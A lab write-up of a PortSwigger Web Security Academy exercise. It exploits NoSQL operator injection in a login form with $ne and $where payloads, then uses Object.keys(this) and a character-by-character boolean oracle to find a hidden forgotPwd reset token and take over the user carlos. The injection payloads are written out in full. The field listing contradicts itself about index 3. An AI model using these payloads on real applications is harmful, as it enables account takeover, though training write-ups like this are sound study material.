Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type NoSQL Injection / Operator Injection / Field Enumeration
Difficulty Practitioner
Objective Enumerate unknown fields on Carlos's user document using Object.keys() and $where, extract a password reset token from a forgotPwd field, and log in as carlos

Exploiting NoSQL Operator Injection to Extract Unknown Fields

No credentials — I tested operator injection on the login immediately:

{"username":"carlos","password":{"$ne":"teto"}}
Screenshot
Account locked: please reset your password

I requested a password reset for carlos to unlock the account:

Screenshot

Confirming $where evaluation by passing 0 vs 1:

{"username":"carlos","password":{"$ne":"teto"}, "$where":"0"}
 Invalid username or password

{"username":"carlos","password":{"$ne":"teto"}, "$where":"1"}
 Account locked: please reset your password
Screenshot

Different responses confirm JavaScript in $where is being evaluated — the boolean oracle is open. The $where key was added as an extra parameter in the POST body; if the application merges the entire request body into the query object without sanitization, any key we add becomes part of the MongoDB query.

MongoDB documents don't have a fixed schema — unlike SQL there's no INFORMATION_SCHEMA to query. Object.keys(this) in JavaScript returns all field names on the current document, making it the schema discovery primitive for $where injection. Combined with .match() and the boolean oracle, we can extract each field name character by character:

Object.keys(this)[N].match('^.{LENGTH}CHARACTER.*')

A match returns "Account locked" (true); no match returns "Invalid username or password" (false).

I set up Intruder cluster bomb with position index and character iterating through a-z, A-Z, 0-9:

{"username":"carlos","password":{"$ne":"teto"}, "$where":"Object.keys(this)[0].match('^.{%x}%b.*')"}
Screenshot
Screenshot

Incrementing field index and repeating:

  • Object.keys(this)[0]_id
  • Object.keys(this)[1]username
  • Object.keys(this)[2]password
  • Object.keys(this)[3]email
Screenshot

But field index 3 revealed forgotPwd — not email:

Screenshot

A stored password reset token in a non-obvious field name. Without Object.keys() enumeration, this field would be completely invisible — there's no way to guess forgotPwd vs reset_token vs any other naming convention.

Extracting the forgotPwd value directly:

{"username":"carlos","password":{"$ne":"teto"}, "$where":"this.forgotPwd.match('^.{%x}%b.*')"}
Screenshot

Reconstructing the token from the matching characters:

Screenshot

Navigating to the reset URL:

/forgot-password?forgotPwd=1448218b7fe7cb13
Screenshot

Password change form loaded for carlos. Set a new password and logged in:

Screenshot

Lab solved

Resources